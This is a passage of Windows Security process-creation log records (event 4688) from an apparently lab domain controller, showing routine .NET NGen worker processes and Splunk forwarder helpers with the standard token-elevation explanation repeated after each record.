Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255031
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc78
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 678 -InterruptEvent 0 -NGENProcess 6a8 -Pipe 5d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255030
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x278
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 65c -InterruptEvent 0 -NGENProcess 64c -Pipe 560 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255029
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 65c -Pipe 658 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255028
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 658 -InterruptEvent 0 -NGENProcess 560 -Pipe 66c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255040
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 694 -InterruptEvent 0 -NGENProcess 5a0 -Pipe 680 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255039
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1110
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6a0 -InterruptEvent 0 -NGENProcess 5fc -Pipe 630 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255038
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255037
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 61c -InterruptEvent 0 -NGENProcess 6a8 -Pipe 638 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255036
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1038
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 65c -InterruptEvent 0 -NGENProcess 67c -Pipe 674 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255035
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1120
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 638 -InterruptEvent 0 -NGENProcess 68c -Pipe 64c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255034
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 64c -InterruptEvent 0 -NGENProcess 638 -Pipe 688 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255033
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1214
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 674 -InterruptEvent 0 -NGENProcess 5ec -Pipe 660 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255048
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf50
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6ec -InterruptEvent 0 -NGENProcess 65c -Pipe 6e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255047
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 694 -InterruptEvent 0 -NGENProcess 6c8 -Pipe 6c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255046
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255045
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x127c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 698 -InterruptEvent 0 -NGENProcess 6b0 -Pipe 678 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255044
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe64
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 69c -InterruptEvent 0 -NGENProcess 6bc -Pipe 6b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255043
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 684 -InterruptEvent 0 -NGENProcess 6a0 -Pipe 6a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
